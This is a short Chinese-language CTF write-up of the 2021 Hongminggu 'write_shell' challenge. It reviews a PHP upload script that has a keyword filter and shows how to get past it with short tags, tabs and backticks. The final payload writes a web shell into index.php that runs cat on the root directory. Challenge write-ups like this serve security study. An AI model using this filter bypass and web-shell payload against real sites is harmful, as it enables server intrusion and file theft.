[红明谷CTF 2021]write_shell
代码审计
题目给出了源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
分析可得思路:
传参action=pwd时,会得到上传路径sandbox/cc551ab005b2e60fbdc88de809b2c4b1/
传参action=upload时,可以写入index.php,写入的内容是我们GET方式传入的data中的内容
- 过滤了
php 字符,使用<?=可以代替 - 过滤了
空格 ,可以使用\t代替 - 过滤了
; ,可以使用``进行代替
比如1.php
<?php
system("ls");
?>
2.php
<?=
`ls`
?>
1.php和2.php的作用是一样的,都是显示当前目录文件
最后的payload
?action=upload&data=<?=`cat\t/*`?>
没有回显hacker!!! ,说明成功写入
然后访问上传的index.php
/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/index.php
回显结果
参考链接
- 红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
|